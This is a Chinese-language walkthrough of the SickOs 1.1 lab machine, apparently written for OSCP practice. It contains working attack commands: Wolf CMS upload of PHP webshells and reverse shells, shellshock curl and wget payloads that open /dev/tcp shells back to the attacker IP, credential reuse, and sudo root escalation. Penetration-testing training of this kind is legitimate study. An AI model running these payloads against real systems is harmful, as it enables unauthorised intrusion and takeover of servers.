紅隊滲透專案之SickOs 1.1

語言: CN / TW / HK

簡介

該專案是D4rk作者精心製作的專案環境,目標是獲取獲得root許可權並找到flag.txt文字資訊,該專案作為OSCP考試培訓必打的一個專案環境,該作者評定該環境為滲透中級水準難度。接下來不管是零基礎學習滲透者,還是有些基礎的滲透者,甚至是高水平的滲透人員讀該的技巧和文章都能學習到一些紅隊知識。

該專案有始有終會用到資訊收集->web頁面資訊列舉->獲得getshell(三種方式)->內網資訊列舉->sudo提權->四個拓展小知識,最終拿到flag.txt的過程,那麼在五大模組中用到了一些小技巧都會在文章中演示出來,希望大家能動手也來和我一起學習滲透。

請注意:

本文僅用於技術討論與研究,對於所有筆記中復現的這些終端或者伺服器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這裡使用的技術僅用於學習教育目的,如果列出的技術用於其他任何目標,本站及作者概不負責。

一、資訊收集

資訊收集非常重要,有了資訊才能知道下一步該如何進行,接下來將用nmap來演示資訊收集!

1、nmap掃描存活IP

由於本專案環境是nat模式需要專案IP地址,掃描挖掘本地的IP地址資訊:

本機IP為: 192.168.40.138

發現本kali ip為40段!用40段進行全網段掃描:

nmap -sP 192.168.40.0/24

發現專案iP: 192.168.40.159

2、nmap全埠列舉

進行namp全埠服務列舉:

nmap -sC -sV -A -T5 192.168.40.159

得到開放的埠資訊:

22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1    
3128/tcp open   http-proxy Squid http proxy 3.1.19           
8080/tcp closed http-proxy

開啟了三個埠,8080埠是關閉狀態,3128顯示代理了http,那麼訪問得用squid進行訪問。

二、web頁面資訊列舉

1、http代理設定

Squid Cache(簡稱為Squid)是HTTP代理伺服器軟體。 Squid用途廣泛,可以作為快取伺服器,可以過濾流量幫助網路安全,也可以作為代理伺服器鏈中的一環,向上級代理轉發資料或直接連線網際網路。 Squid程式在Unix一類系統執行。

火狐瀏覽器自帶代理設定:

192.168.40.159  3128

訪問頁面:

http://192.168.40.159/

通過代理後可以正常訪問,資訊收集看了原始碼發現無可用資訊!

2、nikto漏掃

Nikto是一款開源的(GPL)網頁伺服器掃描器,它可以對網頁伺服器進行全面的多種掃描,包含超過3300種有潛在危險的檔案CGIs;超過625種伺服器版本;超過230種特定伺服器問題。

由於掛了代理,利用nikto掃描:

nikto -h 192.168.40.159 -useproxy http://192.168.40.159:3128
-useproxy 指定代理訪問地址

發現了存在robots.txt檔案資訊和header存在93e4r0-cve-2014-6278資訊,可以利用shellshock的CVE-2014-6271進行攻擊!

3、robots.txt資訊列舉

robots.txt(統一小寫)是一種存放於網站根目錄下的ASCII編碼的文字檔案,它通常告訴網路搜尋引擎的漫遊器(又稱網路蜘蛛),此網站中的哪些內容是不應被搜尋引擎的漫遊器獲取的,哪些是可以被漫遊器獲取的。因為一些系統中的URL是大小寫敏感的,所以robots.txt的檔名應統一為小寫。

訪問robots.txt檔案:

http://192.168.40.159/robots.txt

發現一個目錄/wolfcms

訪問該目錄:

http://192.168.40.159/wolfcms/

發現這是Wolf CMS的框架站!一般有後臺登入Wolf CMS是一個輕量級的CMS系統,包含一組外掛,支援每頁定製,靈活的頁面內容和可重用的片段。

4、Wolf CMS 檔案上傳

Wolf CMS是一款內容管理系統(CMS),是在GNUGeneral Public License v3下發布的免費軟體。Wolf CMS是由PHP語言編寫,是Frog CMS的一個分支。在2010年Packet Publishing開源專案評獎的“Most Promising Open Source Project”分類中殺進了決賽。

經過百度之後發現這是一個內容管理系統並且存在檔案上傳漏洞

參考文章:

https://cloud.tencent.com/developer/article/1047292

kali Wolf CMS搜尋漏洞:

searchsploit Wolf CMS

發現:Wolf CMS - 任意檔案上傳/執行| php/webapps/38000.txt

下載至本地分析:

locate php/webapps/38000.txt
cp /usr/share/exploitdb/exploits/php/webapps/38000.txt .
ls

檢視分析檔案:

cat 38000.txt

發現易受攻擊的URL後臺地址:

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

訪問後臺地址:

http://192.168.40.159/wolfcms/?/admin/login

嘗試弱口令登入:

admin/admin

成功登入!並發現可以檔案上傳!

三、Getshell--三種方法

獲取WebShell的動作又叫做GetShell,是滲透測試各項能力的綜合體現,也是滲透測試一個重要的階段性目標。 GetShell方式眾多,常見如檔案上傳、SQL注入、命令執行、檔案包含、解析漏洞等等。 有時候一個漏洞即可GetShell,有時候則需要各種漏洞打一套組合拳方可。接下來將介紹三種Getshell的方法給小夥伴們學習!

1、利用phpshell反彈shell(方法一)

複製phpshell到本地:

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .  
ls

修改配置為本地kali IP和監聽埠:

gedit php-reverse-shell.php

上傳php指令碼:

在kali開啟監聽,並訪問phpshell:

nc -vlp 1234
http://192.168.40.159/wolfcms/public/php-reverse-shell.php

成功獲得反彈shell!

2、一句話get請求(方法二)

一句話木馬原理(PHP):

1)PHP eval() 把字串按照PHP 程式碼來計算。 
2)該字串必須是合法的PHP 程式碼,且必須以分號結尾。 
3)如果沒有在程式碼字串中呼叫return語句,則返回NULL。如果程式碼中存在解析錯誤,則eval() 函式返回false。

編寫PHP一句話指令碼cmd.php

<?php echo shell_exec($_GET['cmd']);?>

上傳cmd.php檔案:

訪問PHP執行命令:

http://192.168.40.159/wolfcms/public/cmd.php?cmd=whoami

成功回顯命令!

3、寫入POC(方法三)

編寫PHP指令碼,本地獲得反彈shell

<?php
$sock=fsockopen('192.168.40.138',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

生成22.php,上傳指令碼,並訪問:

http://192.168.40.159/wolfcms/public/22.php

nc -vlp 8888
python -c 'import pty; pty.spawn("/bin/bash")'

成功反彈shell!

四、內網資訊列舉

嘗試後拿到了反彈shell開啟內網資訊列舉!

1、根目錄資訊列舉

查詢config檔案:

python -c 'import pty; pty.spawn("/bin/bash")'   #使用python進入tty
cd /var/www/
find / -name config* 2>/dev/null

發現/var/www/wolfcms/config.php 檔案,開啟看下:

cat /var/www/wolfcms/config.php

發現數據庫賬號密碼:

root
[email protected]

2、MYSQL資訊列舉

用獲取到的賬戶密碼mysql登入,並檢視庫資訊:

mysql -uroot [email protected]
show databases;
use wolf

表資訊列舉:

show tables;
select *from user

只看到admin,其他未發現有用的資訊!

3、使用者資訊列舉

Linux中的passwd檔案是一個包含使用者詳細資訊的配置檔案!

檢視/etc/passwd檔案:

cat /etc/passwd

發現新使用者: sickos

五、提權

提權,顧名思義就是提高自己在伺服器中的許可權,就比如在windows中你本身登入的使用者是guest,然後通過提權後就變成超級管理員,擁有了管理Windows的所有許可權。 提權是黑客的專業名詞,一般用於網站入侵和系統入侵中。

1、ssh sickos使用者登入

嘗試使用mysq列舉的密碼登入ssh:

ssh [email protected] 
[email protected]    
id

發現sickos使用者在sudo組裡,嘗試能否sudo提權

2、濫用sudo提權

在滲透中,我們拿到的webshell和反彈回來的shell許可權可能都不高,如果我們可以使用sudo命令訪問某些程式,則我們可以使用sudo可以提權。在這裡,我們可以通過呼叫一些二進位制檔案,這些檔案可以幫助我們使用sudo命令提升特權。

sudo是linux系統管理指令,是允許系統管理員讓普通使用者執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root使用者的登入 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。

檢視下sudo條件:

sudo -l

回顯sudo有許可權!接下來了解sudo su命令的含義:

sudo su命令和su命令相似,都是用來切換使用者的。區別就是兩個命令需要輸入的密碼不一樣。

sudo su的含義就是要用root許可權執行su命令,既然是用root許可權執行su命令,那麼就不需要輸入切換到的使用者的密碼了。

獲得root許可權並拿到flag:

sudo su   
cd /root
cat a0216ea4d51874464078c618298b1367.txt

成功通過sudo su!

六、拓展小知識

1、CVE-2014-6278 shellshock利用

Shellshock - CVE-2014-6271和CVE-2014-6278 - 是在 Linux 發行版中常用的Bash命令shell 中發現的一個嚴重漏洞。該漏洞允許攻擊者在受影響的系統上執行任意命令,使用CGI環境的Web伺服器會受影響。

在CVE-2014-6271的0day漏洞描述中是這麼闡述的:

GNU Bash 到 4.3 處理環境變數值中函式定義之後的尾隨字串,這允許遠端攻擊者通過精心設計的環境執行任意程式碼,如涉及 OpenSSH sshd 中的 ForceCommand 功能、Apache 中的 mod_cgi 和 mod_cgid 模組的向量所示HTTP 伺服器、由未指定的 DHCP 客戶端執行的指令碼,以及設定環境發生在 Bash 執行的特權邊界的其他情況,即“ShellShock”。注意:此問題的原始修復不正確;CVE-2014-7169 已被分配以覆蓋在錯誤修復後仍然存在的漏洞。

之前nikto發現: /cgi-bin/status

1)訪問頁面列舉:

192.168.40.159/cgi-bin/status

發現uptime、kernel和版本資訊!

2)用curl反彈shell

nc -lvp 9999
curl -x http://192.168.40.159:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.40.138/9999 0>&1" http://192.168.40.159/cgi-bin/status
-x  使用HTTP代理啟動連線
-H  使用http頭進行連線User-Agent

成功反彈shell!

2、kali自帶指令碼shellshock

利用34900.py反彈shell:

searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .

34900.py分析:

使用payload:

python 34900.py payload=reverse rhost=192.168.40.159 lhost=192.168.40.138 lport=555 proxy=192.168.40.159:3128 pages=/cgi-bin/status/

成功獲得shell!

3、dirb漏掃代理技巧

Dirb是一個基於命令列的工具,可以根據單詞列表對任何目錄進行暴力破解。Dirb會發出一個HTTP請求,並檢視每個請求的HTTP響應程式碼!

用dirb漏掃代理http:

dirb http://192.168.40.159/ -p http://192.168.40.159:3128
-p 指定代理

成功執行!參考:

https://zhuanlan.zhihu.com/p/26549845

4、wget走代理執行命令下載

Linux系統中的wget是一個下載檔案的工具,其功能多樣性也是可以走代理進行操作執行的!

用wget執行bash 反彈shell:

nc -vlp 9998
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/192.168.40.138/9998 0>&1" -e use_proxy=yes -e http_proxy=192.168.40.159:3128 http://127.0.0.1/cgi-bin/status
-qO-   ---將資訊文字輸出
-U  --user-agent=代理
-e   ----執行命令,execute=命令

成功反彈shell!

七、總結

通過以上的學習,我們認知了一些紅隊的小技巧的技術手段,完成了從資訊收集到核心提權專案落地,學習到了非常多的技巧,例如nmap全埠資訊列舉、http代理、nikto漏掃、wolf CMS檔案上傳、php反彈shell、一句話get請求、sudo提權、CVE-2014-6278 shellshock利用等等,希望夥伴們能實際操作復現一遍!來鞏固自身的滲透技術和技巧!

希望大家提高安全意識,沒有網路安全就沒有國家安全!

作者:十七